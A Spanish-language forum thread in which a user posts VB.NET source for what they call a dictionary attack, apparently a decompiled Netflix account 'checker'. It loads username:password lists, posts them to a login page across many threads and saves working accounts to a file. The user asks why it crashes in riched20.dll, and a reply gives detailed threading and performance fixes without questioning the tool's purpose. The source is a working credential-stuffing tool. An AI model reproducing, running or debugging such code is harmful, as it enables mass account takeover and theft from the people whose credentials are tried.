threads crash riched20.dll vb net

Iniciado por asdexiva, 9 Marzo 2019, 05:21 AM

0 Miembros y 1 Visitante están viendo este tema.

asdexiva

 esto es un diccionary attack  pero despues de un rato de funcionar por ejemplo llega a la cuenta 76000 se crasea y me dice que fault riched20.dll  ,les agradeceria mucho que me pudieran apoyar en este error
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text.RegularExpressions
Imports System.Threading
Imports xNet


Public Class Form1

   Private dragging As Boolean
   Private offset As Point
   Dim date1 As String
   Public int_0 As Integer
   Public int_1 As Integer
   Public int_2 As Integer
   Public int_3 As Integer
   Public int_4 As Integer
   Public int_5 As Integer
   Public int_6 As Integer
   Public int_7 As Integer
   Public object_0 As Object = New Object
   Private point_0 As Point
   ' Public proxyType_0 As ProxyType
   Public queue_0 As Queue
   Public random_0 As Random = New Random
   Public string_0 As String()
   Public string_1 As String()
   Public string_2 As String() = New String(0 - 1) {}
   Public string_3 As String() = New String(0 - 1) {}
   Private string_5 As String = ""
   Public thread_0 As Thread()
   Private Declare Function CoInternetSetFeatureEnabled Lib "urlmon.dll" (int_8 As Integer, <MarshalAs(UnmanagedType.U4)> int_9 As Integer, bool_0 As Boolean) As <MarshalAs(UnmanagedType.[Error])> Integer
   Private Declare Function CreateRoundRectRgn Lib "Gdi32.dll" (int_8 As Integer, int_9 As Integer, int_10 As Integer, int_11 As Integer, int_12 As Integer, int_13 As Integer) As IntPtr
   Private testfile As String = Application.StartupPath & "\Netflix\Good" + "_" & DateTime.Now.ToString("M-d-yyyy_h-m") + ".txt"
   Public Sub New()
       Me.InitializeComponent()
       Control.CheckForIllegalCrossThreadCalls = False
       ' Me.text_proxyType.SelectedIndex = 0
       Me.NumericUpDown1.Value = 100
       RichTextBox1.SelectionAlignment = HorizontalAlignment.Center
   End Sub
   Private Sub Panel1_MouseDown(sender As Object, e As MouseEventArgs) Handles Panel1.MouseDown
       Me.dragging = True
       Me.offset = e.Location
   End Sub

   Private Sub Panel1_MouseMove(sender As Object, e As MouseEventArgs) Handles Panel1.MouseMove
       If Me.dragging Then
           Dim point As Point = MyBase.PointToScreen(e.Location)
           MyBase.Location = New Point((point.X - Me.offset.X), (point.Y - Me.offset.Y))
           Cursor.Current = Cursors.NoMove2D
       End If
   End Sub

   Private Sub Panel1_MouseUp(sender As Object, e As MouseEventArgs) Handles Panel1.MouseUp
       Me.dragging = False
   End Sub
   Protected Overrides ReadOnly Property CreateParams() As CreateParams
       Get
           Dim CP As CreateParams = MyBase.CreateParams
           CP.Style = &HA0000
           Return CP
       End Get
   End Property

   Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click
       End
   End Sub

   Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click
       WindowState = FormWindowState.Minimized
   End Sub
   Private Sub Label10_Click(sender As Object, e As EventArgs) Handles Label10.Click
       MsgBox("aft", vbInformation, "Dz All Checkers 1.0")
   End Sub

   Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
       Using dialog As OpenFileDialog = New OpenFileDialog
           dialog.Filter = "Text files | * .txt"
           If (dialog.ShowDialog = DialogResult.OK) Then
               Me.string_1 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllLines(dialog.FileName)))
               Me.int_1 = Me.string_1.Length
               Me.MetroLabel_1554.Text = Me.int_1.ToString
           End If
       End Using
   End Sub

   Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

       Using dialog As OpenFileDialog = New OpenFileDialog
           dialog.Filter = "Text files | * .txt"
           If (dialog.ShowDialog = DialogResult.OK) Then
               Me.string_0 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllText(dialog.FileName).Replace(";", ":").Split(New Char() {ChrW(10)})))
               Me.int_0 = Me.string_0.Length
               Me.int_6 = Me.int_0
               Me.MetroLabel_1555.Text = Me.int_0.ToString
           End If
       End Using
   End Sub
   Public Sub method_5()

       ' Dim proxyAddress As String = Me.string_1(Me.random_0.[Next](0, Me.int_1))
       While Me.queue_0.Count > 0
           Dim obj As Object = Me.object_0
           Dim flag As Boolean = False
           Dim obj2 As Object
           Dim text As String
           Try
               Dim expr_29 As Object = obj
               obj2 = expr_29
               Monitor.Enter(expr_29, flag)
               Try
                   text = Me.queue_0.Peek().ToString().TrimEnd(New Char() {vbCr}).Trim()
                   Me.queue_0.Dequeue()
               Catch ex As Exception

               End Try

           Finally
               If flag Then
                   Monitor.[Exit](obj2)
               End If
           End Try
           Dim array As String() = text.Split(New Char() {":"c})
           Try

               Using httpRequest As HttpRequest = New HttpRequest()
                   '  httpRequest.Proxy = ProxyClient.Parse(Me.proxyType_0, proxyAddress)
                   Dim cookies As CookieDictionary = New CookieDictionary(False)
                   httpRequest.Cookies = cookies
                   httpRequest.IgnoreProtocolErrors = True
                   httpRequest.ConnectTimeout = TextBox6.Text '25000
                   httpRequest.AllowAutoRedirect = True
                   httpRequest.KeepAlive = True
                   httpRequest.UserAgent = Http.ChromeUserAgent()
                   httpRequest.Referer = TextBox2.Text
                   httpRequest.KeepAliveTimeout = TextBox7.Text

                   '
                   'Dim string_ As String =httpRequest.[Get]("http://www..org/index.php/account/login").ToString()
                   Dim string_ As String = httpRequest.Post(TextBox2.Text).ToString()
                   ' Dim value As String = Form1.smethod_0(string_, "data-reactid=""36""/><input type=""hidden"" name=""authURL"" value=""", """ data-reactid")
                   httpRequest.AddParam(TextBox4.Text, array(0))
                   httpRequest.AddParam(TextBox5.Text, array(1))

                   Dim text2 As String = httpRequest.Post(TextBox2.Text).ToString()
                   RichTextBox2.Text = text2
                   If text2.Contains(TextBox3.Text) Then
                       Dim str As String
                       If text2.Contains(TextBox3.Text) Then
                           str = "cuenta"
                       Else
                           str = "_"
                       End If
                       obj = Me.object_0
                       Dim flag2 As Boolean = False
                       Try
                           Dim expr_222 As Object = obj
                           obj2 = expr_222
                           Monitor.Enter(expr_222, flag2)
                           System.Array.Resize(Of String)(Me.string_2, Me.int_2 + 1)
                           Me.string_2(Me.int_2) = "---------------------Account---------------------" & vbNewLine & text & vbNewLine + "Subscription = " + str & vbNewLine
                           Me.int_2 += 1
                           Me.int_5 += 1
                           Me.int_6 -= 1
                           Continue While
                       Finally
                           If flag2 Then
                               Monitor.[Exit](obj2)
                           End If
                       End Try
                   End If
                   obj = Me.object_0
                   Dim flag3 As Boolean = False
                   Try
                       Dim expr_29E As Object = obj
                       obj2 = expr_29E
                       Monitor.Enter(expr_29E, flag3)
                       Me.int_3 += 1
                   Finally
                       If flag3 Then
                           Monitor.[Exit](obj2)
                       End If
                   End Try
                   Me.int_5 += 1
                   Me.int_6 -= 1
               End Using
           Catch
               Me.int_7 += 1
               Me.queue_0.Enqueue(text)
               '  proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_1))
           End Try
       End While
       If Me.int_5 = Me.int_0 Then
           Me.method_6()
       End If
   End Sub

   Public Sub method_6()
       For i As Integer = 0 To Me.int_4 - 1
           Me.thread_0(i) = New Thread(New ThreadStart(AddressOf Me.method_5))
           Me.thread_0(i).IsBackground = True
           Me.thread_0(i).Abort()
       Next
   End Sub
   Public Shared Function smethod_0(ByVal string_6 As String, ByVal string_7 As String, ByVal string_8 As String) As String
       On Error Resume Next
       Return Regex.Match(string_6, (string_7 & "(.*?)" & string_8)).Groups.Item(1).Value
   End Function
   Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
       Dim num As Integer = 100
       Try
           num = Integer.Parse(Me.TextBox1.Text)
       Catch obj1 As Exception
       End Try
       Me.NumericUpDown1.Value = num
   End Sub

   Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
       Me.MetroLabel_1558.Text = Me.int_2.ToString
       Me.MetroLabel_1556.Text = Me.int_3.ToString
       Me.Label9.Text = Me.int_5.ToString
       '    Me.Label9.Text = Me.int_7.ToString
       If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then
           Me.RichTextBox1.Lines = Me.string_2
       End If
   End Sub

   Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
       Try
           Directory.CreateDirectory(String.Concat("Netflix\"))
           If Me.int_0 = 0 Then
               MessageBox.Show("Load Accounts.")
               '  ElseIf Me.int_1 = 0 Then
               '     MessageBox.Show("Load Proxies.")
           Else
               ' Select Case Me.text_proxyType.SelectedIndex
               ' Case 0
               'Me.proxyType_0 = ProxyType.Http
               'Case 1
               'Me.proxyType_0 = ProxyType.Socks4
               'Case 2
               'Me.proxyType_0 = ProxyType.Socks5
               'Case Else
               'MessageBox.Show("Choose Proxy type")
               'Return
               'End Select
               Me.int_2 = 0
               Me.int_3 = 0
               Me.string_2 = Nothing
               Me.string_3 = Nothing
               Me.int_5 = 0
               Me.int_7 = 0
               Me.int_6 = Me.int_0
               Me.queue_0 = New Queue()

               For i As Integer = 0 To Me.int_0 - 1
                   Me.queue_0.Enqueue(Me.string_0(i))
               Next
               Me.int_4 = Convert.ToInt32(Me.NumericUpDown1.Value)
               Me.thread_0 = New Thread(Me.int_4 - 1) {}
               For j As Integer = 0 To Me.int_4 - 1
                   Me.thread_0(j) = New Thread(New ThreadStart(AddressOf Me.method_5))
                   Me.thread_0(j).IsBackground = True
                   Me.thread_0(j).Start()
               Next
               Me.Timer1.Enabled = True
           End If
       Catch ex As Exception

       End Try

   End Sub

   Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
       Try
           RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText)
       Catch ex As Exception

       End Try
   End Sub

   Private Sub Label15_Click(sender As Object, e As EventArgs) Handles Label15.Click, Label16.Click

   End Sub
End Class

Eleкtro

#1
Hola.

Mejor si compartes el proyecto de Visual Studio y das unas indicaciones previas para poder reproducir el error, y entonces poder depurarlo por nuestra parte. De todas formas, el archivo riched20.dll hace referencia al control win32 Rich Text Edit, por lo tanto el error que tengas está relacionado directamente con la manipulación del control RichTextBox1 o RichTextBox2 en tu código fuente.




Sin ánimo de ofender, ya que no se si el código fuente lo has desarrollado por ti mismo o lo has cogido de Internet, pero ese código fuente está hecho un estropicio de inicio a fin, lo que me hace pensar que es el típico código compartido en algún foro random de Internet, pues hay una infinidad de malos hábitos de programación aplicados en él, y verdaderamente es un código espaghetti que no hay por donde cogerlo, pero te diré un par de cosas fundamentales al respecto...

EDITO: ahora que me fijo mejor, dado que las nomenclaturas no tienen ningún sentido y estas siguen una ordenación con sufijo numérico empezando por las variables locales y siguiendo en las nomenclaturas de los parámetros de las declaraciones de funciones nativas de la API de Windows (funciones que por cierto nunca usas en ese código), así que está claro que ese código fuente es el resultado generado por algún desofuscador/descompilador, y esto me hace arrepentirme bastante de haber señalado tantas recomendaciones aquí abajo tomandome el tiempo para escribirlo todo, ya que probablemente no tomes en serio ninguna de ellas si lo tuyo es copiar y pegar códigos y hacer las cosas sin aprender como hacerlas. No te lo tomes a mal pero es lo que pienso e intuyo, y siempre digo lo que pienso aunque me pese...

1.
Cualquier código que escribas siempre va a ser propenso a producir errores en un entorno multi-threading mientras sigas desactivando el valor de la siguiente propiedad:
Citar
Código (vbnet) [Seleccionar]
Control.CheckForIllegalCrossThreadCalls = False

No creas que desactivar el valor de esa propiedad te asegura en el 100% de los casos el poder manipular controles en el thread de la UI desde un thread distinto al que fue creado. No descartes que esto pueda ser el causante del error que tienes. De hecho, desactivar esta propiedad puede obstaculizar la averiguación de la causa del error, más allá de las excepciones de tipo InvalidOperationException que son suprimidas al desactivar dicha propiedad.

Yo te diría de reescribir todo el código fuente que tienes de principio a fin, desde cero y haciendo las cosas bien, pero bueno, si eso te parece demasiado esfuerzo y no sabes demasiado bien como hacerlo, entonces lo primero que deberías hacer es eliminar esa linea de código, y no la usas jamás en ningún otro proyecto. En su lugar debes aplicar técnicas habituales de programación multi-threading, sin ir más lejos deberías usar la clase BackgroundWorker ya que está pensada precisamente para simplificar la manipulación de los controles del thread de la UI, y aparte de poder reportar un porcentaje de progreso, lo cual también puedes aprovechar al tratarse de un "ataque de diccionario"... donde debería haber un progreso implícito. En su defecto y si lo prefieres, simplemente puedes hacer llamadas individuales al método Control.Invoke() / Control.BeginInvoke() cuando necesites actualizar la propiedad de "X" control en el thread de la UI desde un thread distinto al que fue creado.

2.
La clase Thread no es conveniente usarla en este escenario, como ya he mencionado en el punto anterior deberías utilizar la clase BackgroundWorker, ya que por un lado te permitiría simplificar y perfeccionar el algoritmo, y por el otro manipular de forma segura los controles RichTextBox.

3.
Esto que haces aquí en principio es un despropósito:
Código (vbnet) [Seleccionar]
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
   If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then
       Me.RichTextBox1.Lines = Me.string_2
   End If
End Sub

...

Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
   Try
       RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText)
   Catch ex As Exception
   End Try
End Sub


Y digo "en principio" por que no puedo saber cual será el intervalo del objeto Timer1, ya que está especificado en el diseñador del form, es decir, en la clase del código autogenerado por Visual Studio y no en el código fuente de la clase que has mostrado, pero si no has cambiado el intervalo por defecto entonces serán 100 millisegundos. Bien, el caso es que a cada rato, presuntamente cada 100 ms estás modificando el contenido del RichTextBox1 mediante ese Timer, y seguidamente escribiendo / reemplazando el contenido de un archivo local cuyo contenido cada vez será mayor... cualquier alternativa sería más conveniente para evitar ese tipo de tarea intensiva de lectura y escritura en disco.

Por cierto, lo que haces en ese controlador del evento Timer1.Tick podría ser otra posible causa del error que tienes. Si dices que el error se produce al llegar a cierta "cuenta", y con ello implica llegar a cierta cantidad de lineas, y además el archivo riched20.dll se ve afectado de alguna manera, pues parece blanco y en botella. Ten en cuenta que no puedes rebasar el límite máximo de caracteres de un RichTextBox (Integer.MaxValue).

Aparte, ese trabajo computacional que haces en el controlador del evento Timer1.Tick, presuntamente cada 100 ms (insisto) al obtener el array con las lineas del RichTextBox, contar la cantidad de lineas, y luego reasignar todas las lineas de texto del control... cuanto mayor longitud tenga el array de lineas, mayor tiempo de ejecución necesitarás para contar la longitud del array y para la reasignación del mismo... lo que quiero decir es que al tratarse de un típico algoritmo de fuerza bruta seguramente llegará un momento en el que haya una ingente cantidad de lineas, y el rendimiento de tu aplicación se verá mermada por todo lo que haces en ese método.
Lo primero, deberías usar la propiedad Array.Length (RichTxtBox.Lines.Length en lugar de RichTxtBox.Lines.Count), pero lo cierto es que en lugar de eso podrías llevar la cuenta de la cantidad de lineas actuales del RichTextBox incrementando el valor de una variable de tipo Integer, por ejemplo, y así aumentarías bastante más el rendimiento. Y lo de reasignar las lineas sencillamente no me he fijado lo suficiente para deducir por que haces eso, pero en principio no estaría bien hacerlo así, y no deberías tener problemas para añadir texto/una linea más usando el método RichTextBox.AppendText() en su lugar.

De todas formas, ¿por qué usas un RichTextBox?. No estás dándole formato enriquecido al texto, por ende estás usando un RichTextBox de forma inutil, me refiero, en vano, de forma desaprovechada. Deberías usar un control TextBox (en modo multi-linea) en su lugar, el cual es más liviano. Y no te olvides de incrementar el valor de la propiedad TextBox.MaxLength si te resulta necesario, ya que es relativamente corto en comparación (Short.MaxValue).
Ahora, y suponiendo que ese RichTextBox solo lo utilices con el fin de mostrar las palabras ya usadas en el ataque de fuerza bruta, yo lo veo totalmente innecesario por el impacto negativo en el rendimiento que esto causaría, así que en lugar de un TextBox o RichTextBox yo mostraría solamente la última palabra usada y mediante un control de tipo Label (por ejemplo).

No se si habrás llegado a leer todo el texto, ya que he escrito bastante, pero en resumen te he indicado dos posibles causas al error que estás sufriendo, y diferentes recomendaciones para tratar de evitarlo y también para mejorar ciertos aspectos del código y el rendimiento de la aplicación en general.

Saludos.